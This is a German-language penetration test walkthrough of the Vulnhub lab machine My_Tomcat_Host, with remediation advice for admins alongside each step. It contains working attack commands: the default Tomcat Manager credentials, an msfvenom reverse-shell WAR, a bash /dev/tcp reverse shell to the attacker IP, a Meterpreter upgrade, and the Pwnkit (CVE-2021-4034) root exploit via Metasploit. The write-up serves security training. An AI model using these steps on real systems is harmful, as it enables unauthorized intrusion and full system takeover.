My_Tomcat_Host - Vulnhub - Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
gobuster
nikto
msfvenom
nc (netcat)
find
metasploit (msfconsole)
id
ls
cat
whoami
cd
grep
Web Browser
Tomcat Manager UI

Inhaltsverzeichnis

Reconnaissance

Die Aufklärungsphase beginnt mit der Identifizierung des Zielsystems im lokalen Netzwerk und der anschließenden Analyse der offenen Ports und Dienste.

┌──(root㉿cycat)-[~] └─# arp-scan -l
192.168.2.122	08:00:27:1a:6b:07	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` verwendet ARP-Anfragen, um aktive Geräte im lokalen Netzwerk zu entdecken.

Bewertung: Ein aktiver Host wurde unter der IP-Adresse `192.168.2.122` erfolgreich gefunden. Die MAC-Adresse (`08:00:27:1a:6b:07`) und der Hersteller (`PCS Systemtechnik GmbH`) deuten auf eine Oracle VirtualBox VM hin.

Empfehlung (Pentester): Ziel-IP `192.168.2.122` notieren. Optional einen Hostnamen in `/etc/hosts` definieren.
Empfehlung (Admin):** Netzwerksegmentierung und -überwachung können zur Erkennung beitragen.

Ein Hostname wird zur lokalen Hosts-Datei hinzugefügt.

┌──(root㉿cycat)-[~] └─# vi /etc/hosts
192.168.2.122   mytomcathost.vln
                     

Analyse: Der Hostname `mytomcathost.vln` wird der IP `192.168.2.122` in der lokalen `/etc/hosts`-Datei zugeordnet.

Bewertung: Erleichtert die Ansprache des Ziels.

Empfehlung (Pentester): Den definierten Hostnamen verwenden.
Empfehlung (Admin):** Keine Aktion erforderlich.

Ein umfassender Nmap-Scan wird durchgeführt.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.122 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-21 00:39 CEST
Nmap scan report for mytomcathost.vln (192.168.2.122)
Host is up (0.00013s latency).
Not shown: 65504 filtered tcp ports (no-response), 29 filtered tcp ports (host-prohibited)
PORT     STATE SERVICE    VERSION 
22/tcp   open  ssh        OpenSSH 6.6.1 (protocol 2.0)  
| ssh-hostkey:
|   2048 61:16:10:91:bd:d7:6c:06:df:a2:b9:b5:b9:3b:dd:b6 (RSA)
|   256 0e:a4:c9:fc:de:53:f6:1d:de:a9:de:e4:21:34:7d:1a (ECDSA)
|_  256 ec:27:1e:42:65:1c:4a:3b:93:1c:a1:75:be:00:22:0d (ED25519)
8080/tcp open  http       Apache Tomcat 9.0.31
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.31
MAC Address: 08:00:27:1A:6B:07 (Oracle VirtualBox virtual NIC) 
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port 
Device type: general purpose|storage-misc
Running (JUST GUESSING): Linux 3.X|4.X|5.X|2.6.X (97%), Synology DiskStation Manager 5.X (90%), Netgear RAIDiator 4.X (87%)
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5.1 cpe:/o:linux:linux_kernel:2.6.32 cpe:/a:synology:diskstation_manager:5.2 cpe:/o:netgear:raidiator:4.2.28 
Aggressive OS guesses: Linux 3.10 - 4.11 (97%), Linux 3.2 - 4.9 (97%), Linux 5.1 (95%), Linux 3.16 - 4.6 (91%), Linux 4.10 (91%), Linux 4.4 (91%), Linux 2.6.32 (91%), Linux 3.4 - 3.10 (91%), Linux 4.15 - 5.8 (91%), Linux 5.0 - 5.4 (91%) 
No exact OS matches for host (test conditions non-ideal). 
Network Distance: 1 hop

TRACEROUTE 
HOP RTT     ADDRESS 
1   0.13 ms mytomcathost.vln (192.168.2.122)
                    

Analyse: Nmap scannt alle TCP-Ports (`-p-`) mit umfassenden Optionen (`-sS`, `-sC`, `-sV`, `-T5`, `-A`, `-Pn`). Auffällig ist die hohe Anzahl gefilterter Ports, was auf eine Firewall hindeuten könnte.

Bewertung: Der Scan findet zwei offene Ports:

  • **Port 22 (SSH):** OpenSSH 6.6.1. Eine sehr alte Version, die potenziell anfällig ist.
  • **Port 8080 (HTTP):** Apache Tomcat 9.0.31. Ein Java Application Server. Der Titel bestätigt die Tomcat-Standardseite.
Das Betriebssystem wird als Linux (verschiedene Kernel-Versionen) geschätzt. Die Hauptangriffsvektoren sind der sehr alte SSH-Dienst und der Tomcat-Server.

Empfehlung (Pentester): Untersuchen Sie den Tomcat-Server auf Port 8080 genauer (Standard-Credentials für Manager-App? Bekannte Schwachstellen für Version 9.0.31?). Recherchieren Sie bekannte Schwachstellen für OpenSSH 6.6.1.
Empfehlung (Admin):** **Dringend:** Aktualisieren Sie OpenSSH und Apache Tomcat auf die neuesten stabilen Versionen. Überprüfen Sie die Firewall-Konfiguration.

Wir filtern die Nmap-Ausgabe nach offenen Ports.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.122 -p- | grep open
22/tcp   open  ssh     OpenSSH 6.6.1 (protocol 2.0) 
8080/tcp open  http    Apache Tomcat 9.0.31
                    

Analyse: Filtert die Nmap-Ausgabe nach offenen Ports.

Bewertung: Bestätigt die beiden offenen Ports 22 und 8080.

Empfehlung (Pentester): Klare Übersicht der Angriffsvektoren.
Empfehlung (Admin):** Notwendigkeit prüfen, Dienste aktualisieren.

Web Enumeration (Tomcat)

Wir konzentrieren uns auf den Apache Tomcat-Server auf Port 8080.

Ein Gobuster-Scan wird gegen Port 8080 durchgeführt.

┌──(root㉿cycat)-[~] └─# gobuster dir -u http://mytomcathost.vln:8080 -x [...] -w "[...]" -b '403,404' -e --no-error
http://mytomcathost.vln:8080/docs                 (Status: 302) [Size: 0] [--> /docs/] 
http://mytomcathost.vln:8080/examples             (Status: 302) [Size: 0] [--> /examples/] 
                     

Analyse: Gobuster sucht nach Verzeichnissen und Dateien auf Port 8080.

Bewertung: Findet die Standard-Tomcat-Verzeichnisse `/docs` und `/examples`. Keine weiteren benutzerdefinierten Anwendungen oder Pfade auf dieser Ebene sichtbar.

Empfehlung (Pentester): Führen Sie einen spezifischeren Scan mit Nikto oder einem anderen Tomcat-Scanner durch, um nach der Manager-App und anderen bekannten Schwachstellen zu suchen.
Empfehlung (Admin):** Entfernen Sie die `/docs`- und `/examples`-Anwendungen von Produktions-Tomcat-Servern.

Ein Nikto-Scan wird gegen Port 8080 durchgeführt.

┌──(root㉿cycat)-[~] └─# nikto -h 192.168.2.122:8080
- Nikto v2.5.0
+ Target IP:          192.168.2.122
+ Target Hostname:    192.168.2.122
+ Target Port:        8080
+ Start Time:         2023-09-21 00:41:48 (GMT2)
+ Server: No banner retrieved
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options 
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ 
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /favicon.ico: identifies this app/server as: Apache Tomcat (possibly 5.5.26 through 8.0.15), Alfresco Community. See: https://en.wikipedia.org/wiki/Favicon
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, OPTIONS . 
+ HTTP method ('Allow' Header): 'PUT' method could allow clients to save files on the web server. 
+ HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server. 
+ /examples/servlets/index.html: Apache Tomcat default JSP pages present.
+ /examples/jsp/snp/snoop.jsp: Displays information about page retrievals, including other users. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2104
+ /axis2/axis2-web/HappyAxis.jsp: Apache Axis2 Happiness Page identified which includes internal application details. 
+ /manager/html: Default account found for 'Tomcat Manager Application' at (ID 'tomcat', PW 'tomcat'). Apache Tomcat. See: CWE-16 
+ /host-manager/html: Default Tomcat Manager / Host Manager interface found. 
+ /manager/html: Tomcat Manager / Host Manager interface found (pass protected).
+ /axis2/services/Version/getVersion: Apache Axis2 version identified.
+ /axis2/services/listServices: Apache Axis2 WebServices identified.
+ /axis2/axis2-web/index.jsp: Apache Axis2 Web Application identified.
+ /host-manager/status: Default Tomcat Server Status interface found.
+ /manager/status: Tomcat Server Status interface found (pass protected).
+ 8226 requests: 0 error(s) and 17 item(s) reported on remote host
+ End Time:           2023-09-21 00:42:15 (GMT2) (27 seconds)
+ 1 host(s) tested
                     

Analyse: Nikto scannt den Tomcat-Server auf Port 8080.

Bewertung: Nikto liefert zahlreiche wichtige Ergebnisse:

  • Bestätigt Standard-Tomcat-Pfade (`/examples/`).
  • Findet `/axis2/`-Pfade, was auf eine installierte Apache Axis2-Anwendung hindeutet (potenzielle Angriffsfläche).
  • **Kritisch:** Findet die Tomcat Manager App unter `/manager/html` und meldet, dass **Standard-Zugangsdaten** (`tomcat`/`tomcat`) funktionieren könnten!
  • Findet die Host Manager App unter `/host-manager/html`.
  • Meldet erlaubte, potenziell gefährliche HTTP-Methoden (PUT, DELETE).
Der wahrscheinlichste Angriffsvektor ist der Tomcat Manager mit Standard-Credentials.

Empfehlung (Pentester): Versuchen Sie sofort, sich bei `/manager/html` mit `tomcat`/`tomcat` anzumelden. Wenn dies gelingt, können Sie WAR-Dateien (z.B. eine Reverse Shell) hochladen und bereitstellen.
Empfehlung (Admin):** **Dringend:** Ändern Sie die Standard-Passwörter für den Tomcat Manager und Host Manager oder deaktivieren Sie die Anwendungen, wenn sie nicht benötigt werden. Entfernen Sie die `/examples`- und `/docs`-Anwendungen. Deaktivieren Sie unsichere HTTP-Methoden wie PUT und DELETE, falls nicht erforderlich.

Test des Tomcat Manager Logins:

# (Accessing http://mytomcathost.vln:8080/manager/html with tomcat:tomcat)

                     

Analyse: Versuch, sich mit den Standard-Credentials `tomcat`/`tomcat` am Tomcat Manager anzumelden.

Bewertung: Erfolg! Der Login mit den Standard-Credentials funktioniert. Dies ermöglicht uns das Hochladen und Bereitstellen von WAR-Dateien.

Empfehlung (Pentester): Erstellen Sie eine WAR-Datei mit einer Reverse Shell (z.B. mit `msfvenom`) und laden Sie diese über das Manager-Interface hoch.
Empfehlung (Admin):** Standard-Passwörter sofort ändern!

Proof of Concept (Initial Access via Tomcat Manager)

Dieser Abschnitt beschreibt die Ausnutzung der schwachen Tomcat Manager-Credentials, um eine Webshell (WAR-Datei) hochzuladen und so initialen Zugriff auf das System zu erlangen.

Kurzbeschreibung: Der Nikto-Scan identifizierte den Tomcat Manager auf Port 8080 und fand heraus, dass die Standard-Credentials (`tomcat`/`tomcat`) funktionierten. Wir erstellen eine WAR-Datei, die eine Reverse Shell enthält, laden diese über den Manager hoch und lösen sie aus.

Voraussetzungen: Zugriff auf Port 8080. Funktionierende Tomcat Manager Credentials (`tomcat`/`tomcat`).

Schritt 1: Erstellen der Reverse Shell WAR-Datei

┌──(root㉿cycat)-[~] └─# msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.2.199 LPORT=4444 -f war -o revshell.war
[-] No platform was selected, choosing Msf::Module::Platform::Java from the payload
[-] No arch selected, selecting arch: java from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1104 bytes
Final size of war file: 1104 bytes
Saved as: revshell.war
                     

Analyse: `msfvenom` wird verwendet, um einen Payload zu generieren.

  • `-p java/jsp_shell_reverse_tcp`: Wählt den Payload (eine Java/JSP Reverse Shell).
  • `LHOST=192.168.2.199`: Setzt die IP-Adresse des Angreifers, zu der sich die Shell verbinden soll.
  • `LPORT=4444`: Setzt den Port auf dem Angreifer-System, auf dem der Listener laufen wird.
  • `-f war`: Gibt das Ausgabeformat als WAR-Datei (Web Application Archive) an.
  • `-o revshell.war`: Gibt den Namen der Ausgabedatei an.

Bewertung: Eine `revshell.war`-Datei wurde erfolgreich erstellt. Diese enthält die Reverse Shell und kann über den Tomcat Manager bereitgestellt werden.

Empfehlung (Pentester): Laden Sie `revshell.war` über das `/manager/html`-Interface hoch. Starten Sie einen Netcat-Listener auf Port 4444.
Empfehlung (Admin):** Keine Aktion.

Schritt 2: Hochladen und Bereitstellen der WAR-Datei

1. Login to http://mytomcathost.vln:8080/manager/html with tomcat:tomcat
2. Navigate to "WAR file to deploy" section.
3. Browse and select revshell.war.
4. Click "Deploy".
5. Note the application path (e.g., /revshell).
                    

Analyse: Die `revshell.war`-Datei wird über die Weboberfläche des Tomcat Managers hochgeladen und bereitgestellt (deployed).

Bewertung: Die bösartige Webanwendung ist nun auf dem Server aktiv und unter dem Pfad `/revshell` (oder ähnlich) erreichbar.

Empfehlung (Pentester): Starten Sie den Listener und rufen Sie die URL der bereitgestellten Anwendung auf (z.B. `http://mytomcathost.vln:8080/revshell/`), um die Reverse Shell auszulösen.
Empfehlung (Admin):** Tomcat Manager sichern!

Schritt 3: Listener starten und Shell auslösen

┌──(root㉿cycat)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
# (Accessing http://mytomcathost.vln:8080/revshell/)
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.122] 60240

                     

Analyse: Ein Netcat-Listener wird auf Port 4444 gestartet. Anschließend wird die URL der bereitgestellten WAR-Datei aufgerufen.

Bewertung: Initial Access erfolgreich! Der Listener empfängt eine Verbindung vom Zielsystem. Die Shell läuft mit den Rechten des Tomcat-Prozesses (oft ein dedizierter Benutzer wie `tomcat` oder manchmal sogar `root`).

Empfehlung (Pentester): Überprüfen Sie die Benutzerrechte in der Shell (`id`, `whoami`). Stabilisieren Sie die Shell. Beginnen Sie die lokale Enumeration.
Empfehlung (Admin):** Tomcat Manager sichern. Tomcat-Prozess mit minimalen Rechten ausführen.

Local Enumeration & Shell Upgrade

Wir untersuchen das System von der erhaltenen Shell aus und werten die Sitzung zu Meterpreter auf.

Anzeigen des Root-Verzeichnisses:

bash-4.2$ ls -la
total 40
dr-xr-xr-x.  17 root root 4096 Feb 21  2020 .
dr-xr-xr-x.  17 root root 4096 Feb 21  2020 ..
-rw-r--r--    1 root root    0 Feb 21  2020 .autorelabel
lrwxrwxrwx.   1 root root    7 Feb 21  2020 bin -> usr/bin
dr-xr-xr-x.   5 root root 4096 Mar 22  2020 boot
drwxr-xr-x   18 root root 3000 Sep 20 18:37 dev
drwxr-xr-x.  82 root root 8192 Sep 20 18:37 etc
drwxr-xr-x.   2 root root    6 Jun  9  2014 home
lrwxrwxrwx.   1 root root    7 Feb 21  2020 lib -> usr/lib
lrwxrwxrwx.   1 root root    9 Feb 21  2020 lib64 -> usr/lib64
drwxr-xr-x.   2 root root    6 Jun  9  2014 media
drwxr-xr-x.   2 root root    6 Jun  9  2014 mnt
drwxr-xr-x.   2 root root    6 Jun  9  2014 opt
dr-xr-xr-x  100 root root    0 Sep 20 18:37 proc
dr-xr-x---.   3 root root 4096 Mar 22  2020 root 
drwxr-xr-x   21 root root  600 Sep 20 18:37 run
lrwxrwxrwx.   1 root root    8 Feb 21  2020 sbin -> usr/sbin
drwxr-xr-x.   2 root root    6 Jun  9  2014 srv
dr-xr-xr-x   13 root root    0 Sep 20 18:49 sys
drwxrwxrwt.   9 root root 4096 Sep 20 18:37 tmp
drwxr-xr-x.  13 root root 4096 Feb 21  2020 usr
drwxr-xr-x.  20 root root 4096 Mar 22  2020 var
                     

Analyse: Listet den Inhalt des Wurzelverzeichnisses (`/`) auf.

Bewertung: Zeigt eine typische Linux-Verzeichnisstruktur. Bestätigt, dass wir uns auf einem Linux-System befinden.

Empfehlung (Pentester): Überprüfen Sie die Benutzerrechte (`id`). Suchen Sie nach SUID-Dateien.
Empfehlung (Admin):** Keine Aktion.

Suche nach SUID-Binaries:

bash-4.2$ find / -type f -perm -4000 -ls 2>/dev/null
34180740   64 -rwsr-xr-x   1 root     root        64200 Mar  6  2015 /usr/bin/chage
34180741   80 -rwsr-xr-x   1 root     root        78168 Mar  6  2015 /usr/bin/gpasswd
34176724   44 -rwsr-xr-x   1 root     root        41752 Mar  6  2015 /usr/bin/newgrp
34183384   44 -rwsr-xr-x   1 root     root        44232 Mar  6  2015 /usr/bin/mount
34181113   24 -rws--x--x   1 root     root        23960 Mar  6  2015 /usr/bin/chfn
34180862   24 -rws--x--x   1 root     root        23856 Mar  6  2015 /usr/bin/chsh
34183399   32 -rwsr-xr-x   1 root     root        32064 Mar  6  2015 /usr/bin/su
34183403   32 -rwsr-xr-x   1 root     root        31960 Mar  6  2015 /usr/bin/umount
34355204   28 -rwsr-xr-x   1 root     root        27656 Jun  9  2014 /usr/bin/pkexec 
34355230   60 -rwsr-xr-x   1 root     root        57536 Jul 30  2014 /usr/bin/crontab
34684832  128 -rwsr-xr-x   1 root     root       130720 Mar  6  2015 /usr/bin/sudo 
34645850   28 -rwsr-xr-x   1 root     root        27832 Jun 10  2014 /usr/bin/passwd
67387911   12 -rwsr-xr-x   1 root     root        11208 Mar  5  2015 /usr/sbin/pam_timestamp_check
67387913   36 -rwsr-xr-x   1 root     root        36264 Mar  5  2015 /usr/sbin/unix_chkpwd
67565240   12 -rwsr-xr-x   1 root     root        11296 Aug  8  2019 /usr/sbin/usernetctl
67576276   16 -rwsr-xr-x   1 root     root        15416 Jun  9  2014 /usr/lib/polkit-1/polkit-agent-helper-1
67565195  312 -rwsr-x---   1 root     dbus       318384 Mar  5  2015 /usr/lib64/dbus-1/dbus-daemon-launch-helper 
                     

Analyse: Sucht nach Dateien mit gesetztem SUID-Bit.

Bewertung: Findet Standard-SUID-Binaries für ein CentOS 7 System. **Wichtig:** `/usr/bin/pkexec` ist vorhanden. Das Datum (Juni 2014) deutet stark auf eine für Pwnkit (CVE-2021-4034) anfällige Version hin.

Empfehlung (Pentester): Nutzen Sie einen Pwnkit-Exploit (z.B. über Metasploit), um Root-Rechte zu erlangen.
Empfehlung (Admin):** **Dringend:** Patchen Sie Polkit (CVE-2021-4034). Minimieren Sie SUID-Binaries.

Einrichtung einer Metasploit-Sitzung (optional, aber im Log vorhanden):

bash-4.2$ bash -i >& /dev/tcp/192.168.2.199/4445 0>&1
msf6 > use multi/handler
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.199:4445
[*] Command shell session 1 opened (192.168.2.199:4445 -> 192.168.2.122:38686) at 2023-09-21 00:51:46 +0200
Shell Banner:
_[?1034hbash-4.2$
--

bash-4.2$
                    
msf6 exploit(multi/handler) > use post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set LPORT 4441
lport => 4441
msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.199:4441
[*] Sending stage (1017704 bytes) to 192.168.2.122
[*] Meterpreter session 2 opened (192.168.2.199:4441 -> 192.168.2.122:54998) at 2023-09-21 00:52:52 +0200
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
                    

Analyse: Eine stabilere Shell wird via Bash TCP Redirection aufgebaut (Port 4445) und dann mit Metasploit zu einer Meterpreter-Sitzung (Session 2, Port 4441) aufgewertet.

Bewertung: Erfolgreiche Etablierung einer Meterpreter-Sitzung mit den Rechten des Tomcat-Benutzers.

Empfehlung (Pentester): Nutzen Sie die Meterpreter-Sitzung (Session 2), um den Pwnkit-Exploit auszuführen.
Empfehlung (Admin):** Ausgehende Verbindungen überwachen/einschränken.

Proof of Concept (Privilege Escalation via Pwnkit)

Dieser Abschnitt beschreibt die Ausnutzung der Pwnkit-Schwachstelle (CVE-2021-4034) im Polkit-Dienst (`pkexec`) mittels Metasploit, um Root-Rechte zu erlangen.

Kurzbeschreibung: Die lokale Enumeration identifizierte `/usr/bin/pkexec` als SUID-Root. Wir verwenden das entsprechende Metasploit-Modul über die bestehende Meterpreter-Sitzung, um eine Root-Meterpreter-Sitzung zu erhalten.

Voraussetzungen: Aktive Meterpreter-Sitzung als Tomcat-Benutzer (Session 2). Vorhandensein einer anfälligen Version von `pkexec`.

Schritt 1: Ausführung des Pwnkit-Exploits via Metasploit

msf6 post(multi/manage/shell_to_meterpreter) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 4443
lport => 4443
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lhost eth0
lhost => 192.168.2.199
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] Started reverse TCP handler on 192.168.2.199:4443
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.arxkkb
[+] The target is vulnerable.
[*] Writing '/tmp/.dspomabobrvn/civdcwwzujc/civdcwwzujc.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.dspomabobrvn
[*] Sending stage (3045380 bytes) to 192.168.2.122
[+] Deleted /tmp/.dspomabobrvn/civdcwwzujc/civdcwwzujc.so
[+] Deleted /tmp/.dspomabobrvn/.vcdrmzultla
[+] Deleted /tmp/.dspomabobrvn
[*] Meterpreter session 3 opened (192.168.2.199:4443 -> 192.168.2.122:51986) at 2023-09-21 00:53:48 +0200 
                    

Analyse: Das Pwnkit-Modul wird geladen, auf die Meterpreter-Sitzung 2 (als Tomcat-Benutzer) gesetzt und mit einem Listener auf Port 4443 ausgeführt.

Bewertung: Erfolg! Der Exploit bestätigt die Anfälligkeit und öffnet eine neue Meterpreter-Sitzung (Session 3).

Empfehlung (Pentester): Wechseln Sie zu Session 3 und überprüfen Sie die Rechte.
Empfehlung (Admin):** Dringend Polkit patchen (CVE-2021-4034).

Schritt 2: Bestätigung der Root-Rechte und Flaggen-Sammlung

meterpreter > getuid
Server username: root
meterpreter > shell
Process 1519 created.
Channel 1 created.
                     
# id
uid=0(root) gid=0(root) groups=0(root),997(tomcat)
# cd ~
# ls
proof.txt
# cat proof.txt
Best of Luck
628435356e49f976bab2c04948d22fe4
                     

Analyse: In der neuen Meterpreter-Sitzung (Session 3) wird `getuid` ausgeführt, was "root" zurückgibt. Eine System-Shell wird geöffnet, und `id` bestätigt die Root-Rechte. Im Root-Home-Verzeichnis wird `proof.txt` gefunden und gelesen.

Bewertung: **Privilegienerweiterung erfolgreich!** Die Root-Flagge `628435356e49f976bab2c04948d22fe4` wurde gefunden.

Empfehlung (Pentester): Suchen Sie die User-Flagge (normalerweise in einem Benutzer-Home-Verzeichnis). Test abgeschlossen.
Empfehlung (Admin):** Keine Aktion bezüglich der Flagge.

Risikobewertung:** Die Kombination aus Standard-Credentials für den Tomcat Manager, die das Hochladen einer WAR-Datei ermöglichten, und einer ungepatchten Pwnkit-Schwachstelle (CVE-2021-4034) stellt ein kritisches Risiko dar. Sie erlaubte einem Angreifer mit Netzwerkzugriff die Eskalation zu vollen Root-Rechten.

Empfehlungen (Zusammenfassung):**

  • **Dringend:** Ändern Sie die Standard-Credentials des Tomcat Managers oder deaktivieren Sie die Manager-App.
  • **Dringend:** Patchen Sie Polkit (CVE-2021-4034).
  • Aktualisieren Sie Tomcat und OpenSSH auf aktuelle Versionen.
  • Führen Sie den Tomcat-Dienst mit minimalen Rechten aus.
  • Überprüfen Sie die Tomcat-Konfiguration auf unsichere Einstellungen (z.B. erlaubte HTTP-Methoden).
  • Überprüfen und minimieren Sie SUID-Binaries.

Flags

cat /home/???/user.txt ???
USER_FLAG_WERT (Nicht im Log gefunden)
cat /root/proof.txt
628435356e49f976bab2c04948d22fe4